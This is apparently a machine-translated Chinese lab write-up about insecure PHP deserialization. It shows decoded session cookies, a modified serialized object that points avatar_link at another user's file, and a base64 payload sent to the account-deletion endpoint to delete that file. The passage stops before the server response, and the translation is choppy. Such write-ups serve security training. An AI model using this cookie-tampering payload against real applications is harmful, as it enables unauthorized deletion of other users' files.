> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/exploiting-application-functionality.md).
# 通过应用功能进行利用
### 利用应用功能利用不安全的反序列化
本实验使用一种基于……的会话机制 **序列化**。/ 一个应用功能会调用一个 **危险方法** ，其数据来自用户可控的序列化对象中包含的数据。
修改会话 Cookie 中的序列化对象，以导致…… **`morale.txt`** 文件从……的个人目录中被删除 **Carlos**.
**可用账户**
* 主用户账户： `wiener:peter`
* 备用账户： `gregg:rosebud`
**会话 Cookie 分析**
认证后，会话存储在一个 Cookie 中，其中包含一个类型为……的已序列化 PHP 对象 `用户`.
**Wiener 的 Cookie（解码后）**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```
{% endcode %}
**Gregg 的 Cookie（解码后）**:
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```
{% endcode %}
注意到…… **`avatar_link`** 该属性会在应用执行某些操作时被使用。
**可操作功能**
当用户点击 **删除账户**，会向以下地址发送请求：
```http
/my-account/delete
```
此功能会处理……的值 `avatar_link` 并在未进行充分验证的情况下，对此字段指向的文件执行操作。
{% code overflow="wrap" %}
```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```
{% endcode %}
**利用**
思路是 **将……的值替换为 `avatar_link`** 为指向要删除的文件的任意路径。
**修改后的序列化内容**:
```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```
向……发送请求后 `/my-account/delete`，服务器响应：
---
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